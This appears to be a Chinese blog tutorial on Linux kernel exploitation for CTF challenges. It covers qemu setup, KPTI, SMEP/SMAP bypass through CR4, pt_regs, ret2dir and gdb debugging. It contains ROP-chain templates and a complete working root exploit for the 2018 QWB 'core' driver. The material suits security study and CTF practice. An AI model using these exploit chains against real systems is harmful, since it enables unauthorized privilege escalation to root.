0x01. Linux kernel基础:Kernel ROP

Kernel会不会梦到用户态ROP

[toc]

初探Kernel :Linux kernel pwn之Kernel ROP

0x01 文件初探

题目给出了四个文件:

1
2
$ ls
bzImage core.cpio start.sh vmlinux

其中各个文件的解释如下:

1
2
3
4
bzImage:压缩内核镜像,压缩后的内核文件,适用于大内核
core.cpio:文件系统,包含内核启动后的文件
start.sh:qemu启动脚本,包含qemu启动时的配置项
vmlinux:原始内核文件

查看start.sh如下:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \ # 内存大小,我这里不够需要改为256M
-kernel ./bzImage \ # 指定内核文件
-initrd ./core.cpio \ # 指定文件系统
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 启动后的配置项,包括开启了kaslr。调试时可以通过修改为nokaslr来关闭kaslr
-s \ # 支持gdb连接
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

因此,正常情况下拿到这几个文件,直接给予start.sh文件可执行权限,运行该文件即可通过qemu来启动该内核环境获得一个shell

1
2
chmod +x ./start.sh
./start.sh

0x02 配置项更改

启动shell后,可以看到init文件,这是一个启动时自动挂载的shell脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 将kallsyms即函数地址复制到了可读的目录下
echo 1 > /proc/sys/kernel/kptr_restrict # 开启后无法通过/proc/kallsyms来查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict # 无法查看dmesg的内容
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 注册了core.ko驱动

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh # 以用户组1000即非root启动了shell
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

可以看到,挂载了core.ko文件,大概率这就是一个存在漏洞的文件。备份该文件:

1
cp ./core.ko ../core.ko # 待会再执行

脚本中包含定时关机的命令:poweroff -d 120 -f。这意味着,若我们按照该方式启动,该内核环境将会迅速关机,难以进行调试。因此,我们需要在通过qemu启动该环境前,解包core.cpio文件系统,并修改其中的init启动脚本再启动该环境。

通过如下命令完成:

1
2
3
4
5
6
7
8
mkdir core # 针对文件系统的操作在该文件夹下完成
mv core.cpio ./core/core.cpio.gz # gunzip只能解压gz后缀的文件
cd core
gunzip core.cpio.gz # gzip解压
cpio -idmv < core.cpio # cpio命令从命令行接收core.cpio作为参数来解压
cp core.ko ../core.ko
rm core.cpio # 不再需要
vim init # 修改init启动脚本

修改其中的定时关机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

# poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

利用环境中提供的打包脚本重新打包该文件:

1
./gen_cpio.sh core.cpio

gen_cpio.sh是环境中提供的重新打包文件系统的脚本,内容如下:

1
2
3
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

我们也可以使用自己的命令打包,如下:

1
2
3
find . | cpio -o -H newc > ../core.cpio
# 或者:
find . | cpio -o --format=newc > ../rootfs.img

打包后,将其还原:

1
2
mv core.cpio ../core.cpio
cd ..

重新启动内核,不再有定时关机。

0x03 状态保存与恢复

basic

归根到底,我们需要执行一个commit_creds(prepare_kernel_cred(NULL)),来让当前线程的cred结构体变为init进程的cred的拷贝从而获得root权限,并着陆到用户态起一个shell。(高版本改变权限的方式更为复杂,需要执行commit_creds(prepare_kernel_cred(&init_task))commit_creds(&init_cred)

在我们的exploit进入内核态之前,我们需要保存用户态的各个寄存器的值,从而手动模拟用户态进入到内核态的过程。例如,我们可以通过如下方式来保存寄存器的值(使用这种内联汇编在gcc编译时需要指定-masm=intel):

1
2
3
4
5
6
7
8
9
10
11
12
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

而在我么能成功执行commit_creds(prepare_kernel_cred(NULL))后,我们又需要返回用户态并着陆起一个shell。返回用户态的方式分为两步即:

  • 通过swapgs恢复用户态GS寄存器
  • 通过sysretq或者iretq指令恢复到用户空间

因此通过swapgs; iretq的方式就可以返回到用户态。

例如,使用ROP时,我们可以让栈保存为如下状态来返回用户态:

1
2
3
4
5
6
7
swapgs
iretq
user_shell_addr // the func that will be execute
user_cs
user_eflags // 64bit:user_rflags
user_sp
user_ss

with kpti

kpti机制可以参考后文的介绍部分。

若程序开启了kpti机制,那么我们甚至不能简单通过swapgs; iretq这样的方式来返回到用户态。在此之前,我们还需要将页表切换为用户页表,而这个操作只需要将cr3寄存器的第13位取反(用户态为高位)即可。实际上,有一个函数专门用于完成这个操作,即swapgs_restore_regs_and_return_to_usermode。该函数操作总结如下:

1
2
3
4
5
6
7
8
# 一些pop操作
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq

由上可知,我们可以直接通过该函数一气呵成地完成切换用户态页表和swapgs; iretq两个操作。因此,我们只需要将栈布局为如下形式即可:

1
2
3
4
5
6
7
8
↓   swapgs_restore_regs_and_return_to_usermode + 27
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

一个板子如下:

(注意,gcc需要通过gcc exp.c -o exp -masm=intel -static来编译该文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void info(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[34m\033[1m[*] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void success(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[32m\033[1m[+] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void error(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[31m\033[1m[x] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
info("Status has been saved.");
}

void get_root_shell(void)
{
if(getuid()) {
error("Failed to get the root!");
exit(-1);
}

success("Successful to get the root. Execve root shell now...");
system("/bin/sh");
}

int main(){

}

vscode中用户json代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
"kernel":{
"prefix":"kernel",
"body":[
"#define _GNU_SOURCE",
"#include <stdio.h>",
"#include <stdlib.h>",
"#include <string.h>",
"#include <unistd.h>",
"#include <fcntl.h>",
"#include <sys/types.h>",
"#include <sys/ioctl.h>",
"#include <stdarg.h>",
"#include <sys/mman.h>",
"",
"void info(const char *format, ...)",
"{",
" va_list args;",
" va_start(args, format);",
" printf(\"%s\", \"\\033[34m\\033[1m[*] \");",
" vprintf(format, args);",
" printf(\"%s\", \"\\033[0m\\n\");",
"}",
"",
"void success(const char *format, ...)",
"{",
" va_list args;",
" va_start(args, format);",
" printf(\"%s\", \"\\033[32m\\033[1m[+] \");",
" vprintf(format, args);",
" printf(\"%s\", \"\\033[0m\\n\");",
"}",
"",
"void error(const char *format, ...)",
"{",
" va_list args;",
" va_start(args, format);",
" printf(\"%s\", \"\\033[31m\\033[1m[x] \");",
" vprintf(format, args);",
" printf(\"%s\", \"\\033[0m\\n\");",
"}",
"",
"size_t commit_creds = 0, prepare_kernel_cred = 0;",
"",
"size_t user_cs, user_ss, user_rflags, user_sp;",
"void save_status()",
"{",
" asm volatile (",
" \"mov user_cs, cs;\"",
" \"mov user_ss, ss;\"",
" \"mov user_sp, rsp;\"",
" \"pushf;\"",
" \"pop user_rflags;\"",
" );",
" info(\"Status has been saved.\");",
"}",
"",
"void get_root_shell(void)",
"{",
" if(getuid()) {",
" error(\"Failed to get the root!\");",
" exit(-1);",
" }",
"",
" success(\"Successful to get the root. Execve root shell now...\");",
" system(\"/bin/sh\");",
"}",
"",
"int main(){",
"",
"",
"",
"}"
],
"description": "kernel snippets"
}

0x04 KPTI机制

KPTI机制将内核页表和用户空间页表分开来实现隔离。这里摘录自arttnba3师傅的博客:

众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作

image.png

需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局

KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式

image.png

64 位下用户空间与内核空间都占 128TB,所以他们占用的页全局表项(PGD)的大小应当是相同的,图上没有体现出来,必定在某个节点上同时存在着完整的对用户空间与内核空间的映射,这个节点就是当 CPU 运行在内核态时

以上均摘录自arttnba3师傅的博客,总结得非常详细。笔者本人初学时一度有疑问,既然存在KPTI机制的绕过,为什么还说ret2usr成为过去式?事实上这是因为KPTI机制的“绕过”只是使得我们可以切换CR3寄存器来切换页表到用户页表,然而在内核态时用户地址空间页表对应的地址仍然不具有可执行权限,这才是ret2usr失效的主要原因。

0x05 kernel ROP - Basic

如果不是对kernel存在敬畏,对于kernel ROP应该没有什么学习成本,因为和用户态下的ROP无本质区别。用户态下我们需要通过system("/bin/sh")来获得一个shell,而内核态下我们需要通过commit_creds(prepare_kernel_cred(NULL))来提权为root(是的,高版本还需要commit_creds(prepare_kernel_cred(&init_task))commit_creds(&init_cred)))。

例如,这是笔者在做2018qwb_core中的ROP chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RCX_RET + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = MOV_RDI_RAX_POP_RBP_JMP_RCX + offset;
rop_chain[i++] = 0; // pop_rbp
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0; // pop_fq
rop_chain[i++] = IRETQ_RET + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

可谓是相当熟悉了。

0x06 kernel ROP - ret2usr

ret2usr没了,不用学了

ret2usr实际上仍然属于ROP(确信),但由于kernel题中我们可以自行编写用户态下运行的C语言程序,因此我们便可以通过用户态下的C语言程序来直接执行内核态下的函数commit_creds(prepare_kernel_cred(NULL)),这可以减少ROP链构造的成本(例如你至少不需要通过pop rdi这些gadgets来传参执行函数)

例如,我们用户态下编写函数:

1
2
3
4
5
void userland_root_shell(void){
void* (*prepare_kernel_cred_ptr)(void*) = (void*)prepare_kernel_cred;
int (*commit_creds_ptr)(void*) = (void*)commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

随后ROP chain便可以简化为如下形式:

1
2
3
4
5
6
7
8
9
10
// commit_creds(prepare_kernel_cred(NULL));
rop_chain[i++] = (size_t)userland_root_shell;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0; // pop_fq
rop_chain[i++] = IRETQ_RET + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

smep && smap bypass

若内核开启了smep/smap机制,那么内核态无法访问用户态的代码并执行,否则会引起panic。然而,控制smep/smap是否开启的变量实际上是存储在cr4寄存器中的,这意味着我们可以通过ROP将其关闭。

在未开启smep/smap机制时,cr4的值一般为0x6f0(是的,一般),因此我们将其修改为这个值就可以绕过smep/smap机制。

如下所示,我们修改start.sh文件,使其开启smep/smap

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-cpu qemu64-v1,+smep,+smap \ # 在这里,开启smep和smap,注意无空格否则报错
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

此时我们修改rop_chain为如下状态即可:

1
2
3
4
5
6
7
8
9
10
11
12
rop_chain[i++] = POP_RAX_RET + offset;
rop_chain[i++] = 0x6f0;
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop_chain[i++] = (size_t)userland_root_shell;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0; // pop_fq
rop_chain[i++] = IRETQ_RET + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

虽然但是,我们上面指定了cpu型号为qemu64-v1,因为其他CPU默认开启kpti机制(例如一般指定的kvm64),导致在内核页表下的用户地址无可执行权限,会直接导致panicbyebye ret2usr

0x07 pt_regs结构体

在用户态下,我们经常使用系统调用产生中断,以切换到内核态来执行函数,例如x86-64中的syscall

然而,我们知道64位下前6个参数都位于寄存器中,而系统调用的值实际上也需要进行寻址,那么如何对寄存器寻址呢?实际上,这是因为当程序进入到内核态的时候,操作系统会将所有的寄存器压入到内核栈上,形成一个pt_regs结构体。而该结构体实际上位于内核栈底,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

有点用户态下的srop的味道了。

到这里,我们需要了解内核中的pt_regs结构体,了解我们用户态发起系统调用时内核态下参数的存放位置。不难想到,我们可以借助pt_regs中的值来进行某些操作,例如栈迁移等。

因此,在进行系统调用时,我们可以利用如下板子,如此可以找到内核栈上的pt_regs结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

通过这个pt_regs结构体,只需要找到形如add rsp, val; retgadget即可完成ROP,非常实用。

0x08 ret2dir

kernel中,存在一个区域叫做direct mapping memory,如下所示:

img

看到这个图比较懵,没关系,只需要知道一点:

在虚拟内存内核态空间中存在一个区域叫做direct mapping memory,它线性地映射了整个物理内存。而用户空间的数据一定存放在物理内存上,这就意味着,任何一段用户区域的内存,都可以在内核态空间中的direct mapping memory上找到。这就是ret2dir,可以绕过smep/smap/kpti安全机制,因为这并没有直接访问用户空间地址。

大致利用方式如下:

  • 通过mmap在用户地址空间喷射大量内存
  • 泄露内核的堆地址(也就是kmalloc分配的地址,这个地址属于direct mapping memory
  • 利用泄露出的地址进行搜索,从而找到在用户空间喷射的内存

0xFF 杂谈

成功执行提权函数但没有root权限

很奇怪的问题,笔者是在做2017 ciscn babydriver的时候遇到了该问题,出现问题时会导致成功执行提权函数但没有root权限。

最终解决方案是在gcc编译时添加优化选项-Os即可解决,原因笔者尚且未知,此外笔者测试该题目环境中-O2也可以,但别的都不行。

gadgets寻找

有多种方法,但是都非常慢,例如ropperROPgadget等。笔者是倾向于使用ropper

若程序没有给vmlinux,可以用如下extract-vmlinux脚本跑出来,如下:

(很难绷的一件事是,我使用2018_qwb_corevmlinux跑出来的gadgets是错的,但如下方式可以提取出正确的vmlinux,很难评价。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

用法:

1
./extract-vmlinux ./bzImage > vmlinux

用户组管理

etc目录下含有/etc/passwd/etc/group两个文件,都是用于Linux的用户组管理的。

其中/etc/group包含系统上用户组的信息,而/etc/passwd包含具体某个用户的信息。

具体来说,/etc/group中,每一行表示一个组,每个组的条目由四个字段组成,以冒号分隔,包括组名、组密码、组ID、组成员。

以以下信息为例:

1
2
root:x:0:
chal:x:1000:

其中包含两个组,分别为组名为root的组和组名为chal的组。其中:

  • 两个组的第二个字段均为空,表示密码信息实际上已经不再使用(现在通常由/etc/shadow管理)。

  • 第三个字段01000表示组的ID,其中root组的ID0chal组的ID1000

  • 第四个字段为空,表示没有写明组成员具体有哪些。

而对于/etc/passwd文件,每一行表示一个用户账户,由七个字段组成,同样由冒号分隔,包括用户名、密码、用户ID、组ID、用户信息、家目录、登录shell

以以下信息为例:

1
2
root:x:0:0:root:/root:/bin/sh
chal:x:1000:1000:chal:/home/chal:/bin/sh

其中包含两个用户,root用户和chal组。其中:

  • 第二个字段为密码,不再使用而交由/etc/shadow管理。
  • 第三个字段表示用户的ID,其中root用户的ID0chal用户的ID1000
  • 第四个字段表示组ID,表示用户所属组的ID
  • 第五个字段表示用户信息,通常含有用户全名或其他描述性信息。
  • 第六个字段表示用户的家目录,表示用户的主目录,用户登录后会进入这个目录。
  • 第七个字段表示登录shell,是用户登录后默认启动的shell

了解到上述信息后,我们可以修改rcS文件来修改qemu虚拟机启动后的用户。

其中,rcS文件是一个启动脚本,用于在系统引导过程中启动一些基本的系统服务和设置环境。在部分文件系统中,根目录下有一个名为init文件即为rcS文件。有时候也会位于/etc中。

init文件中有一行命令如下:

1
setsid /bin/cttyhack setuidgid 1000 /bin/sh

其中setsid命令可以启动一个新的会话,并连续执行了/bin/cttyhacksetuidgid 1000 /bin/sh。其中,以setuidgid命令来以用户组1000启动了一个shell,而1000表示用户组chal。因此,我们将其修改为0,即可让其启动一个拥有root权限的shell来进行调试。

gdb调试

回顾2018强网杯corestart.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \ # 内存大小,我这里不够需要改为128M
-kernel ./bzImage \ # 指定内核文件
-initrd ./core.cpio \ # 指定文件系统
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 启动后的配置项,包括开启了kaslr
-s \ # 支持gdb连接
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

其中,我们提到-s表示支持gdb连接。实际上,查阅文档如下:

1
-s              shorthand for -gdb tcp::1234

说明-s实际上是-gdb tcp::1234的缩写,表示该qemu启动的虚拟机支持使用gdb调试,端口为1234

因此,我们启动虚拟机后,可以在宿主机启动gdb,然后使用命令target remote :1234来挂载到虚拟机。

这之后,虚拟机将无法输入任何数据(正在处于被调试状态)。

我们在gdb中添加符号表,来使得可以在正确的函数上下断点。

在这之前,需要先获得加载的驱动的基地址,可以通过如下三种方式查看,效果一样:

  • cat /proc/modules | grep [驱动名]

  • lsmod

  • cat /sys/module/[驱动名]/sections/.text

值得注意的是,上述三种方法都需要root权限才可以查看,可以参照上面的用户组部分来在以root权限调试。如下所示:

1
2
3
4
5
6
/ $ cat /proc/modules | grep core
core 16384 0 - Live 0xffffffffc01f1000 (O)
/ $ lsmod
core 16384 0 - Live 0xffffffffc01f1000 (O)
/ $ cat /sys/module/core/sections/.text
0xffffffffc01f1000

接下来,在gdb中,输入命令add-symbol-file [驱动名] [基地址]来加载函数符号。例如:

1
add-symbol-file core.ko 0xffffffffc01f1000

即可加载函数符号。之后使用b func即可下断点,例如b core_copy_func,即可下断点,之后输入c,此时虚拟机即可正常输入,运行exp后到core_copy_func即会暂停下来。

编写gdb调试脚本

上面我们已经提到了如何使用gdb来调试kernel。然而,每一次输入lsmodadd-symbol-filetarget remote:1234等略显繁杂,我们可以利用-ex编写gdb调试脚本如下:

1
2
3
4
gdb -q \
-ex "add-symbol-file ./kgadget.ko 0xffffffffc0002000" \
-ex "target remote:1234" \
-ex "b *0xffffffffc0002116"

内核函数api记录

内核中的printf函数。和用户态中区别不大。

1
int printk(const char *fmt, ...);

内核中的memcpy函数。

1
unsigned long copy_from_user(void *to, const void __user *from, unsigned long n);

以及

1
unsigned long copy_to_user(void __user *to, const void *from, unsigned long n);c

内核结构体查看工具:pahole

在不同内核版本下,结构体的大小可能不尽相同。而pahole是一个可以直接查看结构体的定义和大小的工具,非常方便。

安装方式如下:

1
2
3
4
5
6
7
8
9
sudo apt install libdw-dev
sudo apt install cmake

git clone https://git.kernel.org/pub/scm/devel/pahole/pahole.git/
cd pahole
mkdir build
cd build
cmake -D__LIB=lib ..
sudo make install

安装完成之后,使用非常简单,直接输入即可查看当前内核下所有结构体:

1
pahole

也可以通过如下方式来仅仅查看某个结构体:

1
2
pahole -C <struct_name>
// e.g. pagole -C pt_regs

第一个exp: 2018_qwb_core

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <stdarg.h>

void info(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[34m\033[1m[*] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void success(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[32m\033[1m[+] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void error(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[31m\033[1m[x] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
info("Status has been saved.");
}

void get_root_shell(void)
{
if (getuid())
{
error("Failed to get the root!");
exit(-1);
}

success("Successful to get the root. Execve root shell now...");
system("/bin/sh");
}

void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889B, buf);
}

void set_off(int fd, int value)
{
ioctl(fd, 0x6677889C, value);
}

void core_copy_func(int fd, size_t size)
{
ioctl(fd, 0x6677889A, size);
}

#define POP_RDI_RET 0xffffffff81000b2f
#define POP_RAX_RET 0xffffffff810520cf
#define POP_RCX_RET 0xffffffff81021e53
#define MOV_RDI_RAX_POP_RBP_JMP_RCX 0xffffffff81532471
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ_RET 0xffffffff81050ac2


int main()
{
FILE *fd_kallsyms = NULL;
size_t addr = 0, offset = 0;
char type[0x10], func[0x50];
char buf[0x100];
size_t canary = 0;
int fd = -1;
int i = 0;
size_t rop_chain[0x100];

info("Start to exploit...");
save_status();

// 第一步:通过查/kallsyms获得所有函数地址
fd_kallsyms = fopen("/tmp/kallsyms", "r");
if (fd_kallsyms == NULL)
{
error("Open kallsyms error.");
}

while (fscanf(fd_kallsyms, "%lx%s%s", &addr, type, func))
{

if (prepare_kernel_cred && commit_creds)
{
break;
}
if (!strcmp(func, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
success("prepare_kernel_cred addr found.");
}
if (!strcmp(func, "commit_creds"))
{
commit_creds = addr;
success("commit_creds addr found.");
}
}

// 无kaslr时: 0xffffffff8109cce0
printf("The addr of prepare_kernel_cred is 0x%lx.\n", prepare_kernel_cred);
// 无kaslr时: 0xffffffff8109c8e0
printf("The addr of commit_creds is 0x%lx.\n", commit_creds);

offset = prepare_kernel_cred - 0xffffffff8109cce0;
printf("The offset of kaslr is 0x%lx.\n", offset);

fd = open("/proc/core", 2);
if (fd < 0)
{
error("Failed to open /proc/core.");
exit(0);
}

set_off(fd, 64);
core_read(fd, buf);
canary = ((size_t *)buf)[0];
info("The value of canary is 0x%lx.", canary);
printf("canary: 0x%lx.\n", canary);

for (i = 0; i < 10; i++)
{
rop_chain[i] = canary;
}

// commit_creds(prepare_kernel_cred(NULL));
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RCX_RET + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = MOV_RDI_RAX_POP_RBP_JMP_RCX + offset;
rop_chain[i++] = 0; // popo_rbp
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0; // pop_fq
rop_chain[i++] = IRETQ_RET + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;


write(fd, rop_chain, 0x800);

core_copy_func(fd, (0xffffffffffff0000 | 0x100));
return 0;
}

参考内容

